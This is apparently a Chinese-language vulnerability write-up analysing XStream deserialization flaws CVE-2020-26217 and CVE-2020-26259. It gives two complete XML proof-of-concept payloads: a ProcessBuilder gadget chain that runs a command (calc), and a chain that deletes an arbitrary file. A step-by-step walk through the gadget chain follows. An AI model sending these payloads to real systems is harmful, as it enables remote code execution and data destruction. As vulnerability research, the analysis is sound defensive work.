影响范围

Xstream <= 1.4.14

CVE-2020-26217

漏洞复现

1.png

poc:

<map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                    <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                        <contentType>text/plain</contentType>
                        <is class='java.io.SequenceInputStream'>
                            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                                <iterator class='javax.imageio.spi.FilterIterator'>
                                    <iter class='java.util.ArrayList$Itr'>
                                        <cursor>0</cursor>
                                        <lastRet>-1</lastRet>
                                        <expectedModCount>1</expectedModCount>
                                        <outer-class>
                                            <java.lang.ProcessBuilder>
                                                <command>
                                                    <string>open</string>
                                                    <string>/System/Applications/Calculator.app</string>
                                                </command>
                                            </java.lang.ProcessBuilder>
                                        </outer-class>
                                    </iter>
                                    <filter class='javax.imageio.ImageIO$ContainsFilter'>
                                        <method>
                                            <class>java.lang.ProcessBuilder</class>
                                            <name>start</name>
                                            <parameter-types/>
                                        </method>
                                        <name>start</name>
                                    </filter>
                                    <next/>
                                </iterator>
                                <type>KEYS</type>
                            </e>
                            <in class='java.io.ByteArrayInputStream'>
                                <buf></buf>
                                <pos>0</pos>
                                <mark>0</mark>
                                <count>0</count>
                            </in>
                        </is>
                        <consumed>false</consumed>
                    </dataSource>
                    <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
            </value>
        </jdk.nashorn.internal.objects.NativeString>
        <string>test</string>
    </entry>
</map>

漏洞分析

首先我们将xml文件折叠一下

2.png

entry元素中包含了jdk.nashorn.internal.objects.NativeString与string两个元素

这里使用先知社区熊本熊本熊师傅的文章里的例子

3.png

map里面put的键为一个对象,值为字符串,那么输出结果就如上,这样也就懂了poc的结构,也就是是一个key为jdk.nashorn.internal.objects.NativeString,value为test的一个entry,而jdk.nashorn.internal.objects.NativeString对象又存在flags、value属性,它的flags属性值为0、value属性值为com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data

接下来开始分析漏洞触发流程

下断点跟进,Xstream解析map结构时会在putCurrentEntryIntoMap中新建一个map,然后将键值取出put进去

4.png

这里有一个map的原理,map在put key操作时需要获取key的hash值。因此程序调用了jdk.nashorn.internal.objects.NativeString的hashCode方法

5.png

跟进getStringValue方法

6.png

这里会判断this.value是不是String实例,如果不是则调用this.value的toString方法

这里的value其实就是

<jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>

这里的value,也就是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data,所以也就是调用了Base64Data的toString方法,跟进

7.png
这里触发了自身的get方法,跟进

8.png

这里关键代码是InputStream is = this.dataHandler.getDataSource().getInputStream();

1.这里也就是获取Base64Data的dataHandler的DataSource属性值,而这可以从xml中赋值,在POC中DataSource赋值为com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource,也就是this.dataHandler.getDataSource()值为com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource

2.随后程序执行com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource类的getInputStream方法,这将获取com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSourc的is属性值

在xml中已经定义了com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSourc的is属性值为java.io.SequenceInputStream

9.png

跟进readFrom方法

10.png

跟进read方法

11.png

跟进nextStream方法

12.png

e的值,可以通过向xml中SequenceInputStream元素中的e元素值来控制。在poc中将这个e元素值设置为javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator

跟进javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator的nextElement方法

13.png

在poc中同样为iterator赋过值,为javax.imageio.spi.FilterIterator,跟进next方法

14.png

跟进advance方法

15.png

这里的iter在poc中同样赋过值,为java.util.ArrayList$Itr

当iter.next()执行后,poc中构造的java.lang.ProcessBuilder被返回并赋值给elt
16.png

这里的filter同样被赋过值,为javax.imageio.ImageIO$ContainsFilter

跟进filter.filter(elt)

17.png

此时method为ProcessBuilder类的start方法,而通过上文可知:elt为构造好的java.lang.ProcessBuilder对象。在method与elt都可控的情况下,进行反射调用即可实现远程代码执行利用

CVE-2020-26259

漏洞分析

poc:

<map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                    <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                        <contentType>text/plain</contentType>
                        <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
                            <tempFile>/Users/ghtwf01/test.txt</tempFile>
                        </is>
                    </dataSource>
                    <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
            </value>
        </jdk.nashorn.internal.objects.NativeString>
        <string>test</string>
    </entry>
</map>

这个洞和上面的rce流程前面一致,直接看到分开的地方,26259触发点是is.close

18.png

因为在poc里is被赋值为com.sun.xml.internal.ws.util.ReadAllStream$FileStream,所以跟进close方法

19.png

这里的tempFile不为空则删除,tempFile在poc里面赋值为/Users/ghtwf01/test.txt,这个是自定义的所以就形成了任意文件删除漏洞。